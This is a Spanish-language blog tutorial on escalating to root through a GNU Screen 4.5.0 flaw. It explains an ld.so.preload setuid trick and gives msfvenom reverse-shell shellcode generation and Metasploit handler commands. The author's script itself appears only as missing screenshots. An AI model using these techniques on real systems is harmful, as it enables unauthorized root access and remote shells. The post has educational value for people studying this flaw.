Elevandonos a Root en Linux - BoomerNiX

lunes, 9 de abril de 2018

Elevandonos a Root en Linux

Hoy vamos a jugar con una vulnerabilidad en screen (GNU Screen 4.5.0) de hace poco más de un año, y que nos va a permitir elevar privilegios. Por si no conocéis el programa, Screen es un gestor de ventanas que permite multiplexación de terminales, normalmente shells interactivas [ver más en la Wikipedia].

Antes de empezar, se deja un enlace al bug: root exploit 4.5.0. Por hacer un resumen, el error recae en la apertura del registro con privilegios root, dando la posibilidad de crear un archivo cualquiera con el propietario root.

El código que se va a crear se basa en el siguiente script en bash https://www.exploit-db.com/exploits/41154/. Aquí lo vamos a implementar con un scritp en Python (versión 3) y que permitirá ejecutar una shellcode de Metasploit y abrir una sesión Root.

Todas las pruebas se van a realizar en local. Vamos a explicar el funcionamiento del script, que se pondrá luego:

Lo primero que vamos a hacer en la en el script es crear dos archivos “/tmp/libhax.c” y “/tmp/msf.c”.



Los compilamos y eliminamos los archivos .c


Nos movemos al directorio /etc y llamamos a umask 0 para establecer por defecto los permisos de los nuevos archivos creados 0666 para los ficheros y 0777 para directorios. Y acto seguido creamos el fichero ld.so.preload, se trata de un archivo que cuenta con una lista de librerías (ELF) compartidas y que se van a cargar antes del programa. Nos aprovechamos de la siguiente idea: si puedes leer y/o escribir del directorio /etc, tienes permiso root. Este archivo tiene dentro de su lista "/tmp/libhax.so”, que ejecutara:
chown("/tmp/msf", 0, 0);
chmod("/tmp/msf", 04755);

Cambiando el propietario y los permisos del archivo “/tmp/msf”. Por último, una llamada a screen y ejecutamos el fichero que contiene la shellcode. Dejamos un breve esquema:



Antes de pasar a ver el código, vamos a generar la shellcode con msfvenom (parte dirigida a arquitecturas de 64 bits):

Msfvenom -p Linux/x64/shell_reverse_tcp lhost=0.0.0.0 lport=1011 -f python

Para que nos sirva y sea reutilizable en nuestra herramienta, se ha puesto un puerto y dirección IP fácil de detectar en la shellcode y que podamos cambiar al vuelo. En las shellcodes existen algunos caracteres no permitidos, por ejemplo \x00, así que en nuestro código usaremos un XOR encode de 64 bits y que se utiliza en Metasploit (con alguna variación).

Se usa el XOR por lo siguiente (teniendo clave: X, número: Y, resultado: Z):

    Y ^ X = Z
    Z ^ X = Y

Lo que codificamos con una clave, lo descodificamos con la misma clave.

Como en estos momentos nos encontramos inmersos en un trabajo fin de máster propuesto por Pablo Gónzalez, y que terminará en julio, a continuación, se deja la parte del script que eleva privilegios:

Nota: en el código /tmp/msf es nombrado como /tmp/shell.

Como primera parte se cuenta con una función que se encarga de lanzar el script:


Seguidamente vemos la función “task1” que se divide en 3 capturas:
Prinera parte:


Segunda parte:


Tercera parte:


En la última parte es posible que necesites agregar \x0a en la última línea, detrás de -ne quedaría "\x0a/tmp/libhax.so", para tener un nuevo salto de línea, para las pruebas que se han hecho no ha sido necesario. 

Ya está todo hecho, simplemente queda ver la función “task2”, donde está el código que lanza la shell, y es el siguiente:


Y por último si queréis saber cómo funciona el encoder, se puede echar un vistazo al código que tiene Metasploit, y en el que me he basado: xor64encoder.
Pillamos la dirección IP con ifconfig, y para probarlo, abrimos Metasploit y escribimos:
Use exploit/multi/handler
Set payload linux/x64/shell/reverse_tcp
Set lhost TU_IP
Exploit

 Os dejo una captura de cómo va funcionando la herramienta:


y al fin conseguimos una shell con privilegios root en Metasploit:



También podemos meter nuestro código en el Meterpreter, como escribí en el lado del mal >> Metasploit: Cómo extender las funcionalidades de meterpreter. A continuación, dejo un vídeo de la PoC realizada en Kali, como se puede apreciar se ha realizado sobre el mismo sistema (revisar IPs de conexión), pero funciona de igual manera con distintas máquinas:



Hasta aquí llega el tutorial, seguiremos jugando con la herramienta y dándola más funcionalidad. ¡Hasta pronto!


No hay comentarios:

Publicar un comentario